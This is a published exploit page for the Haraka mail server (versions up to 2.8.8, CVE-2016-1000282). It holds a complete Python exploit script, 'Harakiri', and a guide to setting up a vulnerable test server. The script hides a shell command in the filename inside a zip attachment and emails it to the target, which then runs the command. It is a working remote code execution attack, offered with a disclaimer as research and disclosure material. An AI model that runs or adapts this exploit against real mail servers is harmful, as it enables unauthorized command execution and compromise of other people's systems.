Haraka < 2.8.9 - Remote Command Execution

2017.01.27
Credit: xychix
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/usr/bin/python # Exploit Title: Harakiri # ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection # Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl] # Date: 26 January 2017 # Category: Remote Code Execution # Vendor Homepage: https://haraka.github.io/ # Vendor Patch: https://github.com/haraka/Haraka/pull/1606 # Software Link: https://github.com/haraka/Haraka # Exploit github: http://github.com/outflankbv/Exploits/ # Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8 # Version: <= Haraka 2.8.8 (with attachment plugin enabled) # Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS # Tested versions: 2.8.8 and 2.7.2 # CVE : CVE-2016-1000282 # Credits to: smfreegard for finding and reporting the vulnerability # Thanks to: Dexlab.nl for asking me to look at Haraka. # # Instructions for testing the exploit below. # The zip is also saved to disk and can be attached using any mail client. # As it's processed in a vulnerable server it will run the embedded command # # Disclaimer: # This software has been created purely for the purposes of academic research and # for the development of effective defensive techniques, and is not intended to be # used to attack systems except where explicitly authorized. Project maintainers # are not responsible or liable for misuse of the software. Use responsibly. # # This is to be considered a responsible disclosure due to the availability of an effective patch. Install_and_test_exploit =""" THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT #Install a clean server (for example on Digital Ocean) #I picked the smallest Ubuntu 16.04.1 LTS for this guide. #I needed to enable swap on that installation fallocate -l 4G /swapfile chmod 600 /swapfile mkswap /swapfile swapon /swapfile swapon -s #install nodejs and npm: Note I have no clue what I'm doing here but it works! apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz tar xvzf v2.8.8.tar.gz cd Haraka-2.8.8/ npm install -g npm ln -s /usr/bin/nodejs /usr/bin/node npm install -g #Haraka setup haraka -i /root/haraka cat << EOF > /root/haraka/config/plugins access rcpt_to.in_host_list data.headers attachment test_queue max_unrecognized_commands EOF cat << EOF >> /root/haraka/config/host_list haraka.test EOF # Launch haraka as root haraka -c /root/haraka/ #### EXPLOIT TIME ./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <<IP OF TESTMACHINE HERE>> ## now CTRL^C haraka on the server and: cat /tmp/harakiri # I'll leave the rest up to you """ import smtplib from email.mime.application import MIMEApplication from email.mime.multipart import MIMEMultipart from email.utils import COMMASPACE, formatdate from email.header import Header from email.utils import formataddr from email.mime.text import MIMEText from datetime import datetime import zipfile import StringIO import argparse import sys banner = u"""## ## ### ######## ### ## ## #### ######## #### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######### ## ## ######## ## ## ##### ## ######## ## ## ## ######### ## ## ######### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ## #### -o- by Xychix, 26 January 2017 --- -o- xychix [at] hotmail.com --- -o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) -- -i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this) """ def SendMail(to,mailserver,cmd,mfrom): msg = MIMEMultipart() html = "harakiri" msg['Subject'] = "harakiri" msg['From'] = mfrom msg['To'] = to f = "harakiri.zip" msg.attach(MIMEText(html)) filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S") print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver)) part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip") part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip" msg.attach(part) print msg.as_string() s = smtplib.SMTP(mailserver,25) try: resp = s.sendmail(mfrom, to, msg.as_string()) except smtplib.SMTPDataError, err: if err[0] == 450: print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1]) return() print("smtpd response: %s No errors received"%(resp)) s.close() return() class InMemoryZip(object): def __init__(self): self.in_memory_zip = StringIO.StringIO() def append(self, filename_in_zip, file_contents): zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False) zf.writestr(filename_in_zip, file_contents) for zfile in zf.filelist: zfile.create_system = 0 return self def read(self): self.in_memory_zip.seek(0) return self.in_memory_zip.read() def writetofile(self, filename): f = file(filename, "w") f.write(self.read()) f.close() def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"): z1 = InMemoryZip() z2 = InMemoryZip() z2.append("harakiri.txt", banner) z1.append("a";%s;echo "a.zip"%cmd, z2.read()) z1.writetofile(filename) return(z1.read()) if __name__ == '__main__': print(banner) parser = argparse.ArgumentParser(description='Harakiri') parser.add_argument('-c','--cmd', help='command to run', required=True) parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True) parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren't correct', required=True) parser.add_argument('-f','--from', help='optional: From email address', required=False, default="harakiri@exploit.db") args = vars(parser.parse_args()) SendMail(args['to'],args['mailserver'],args['cmd'],args['from'])


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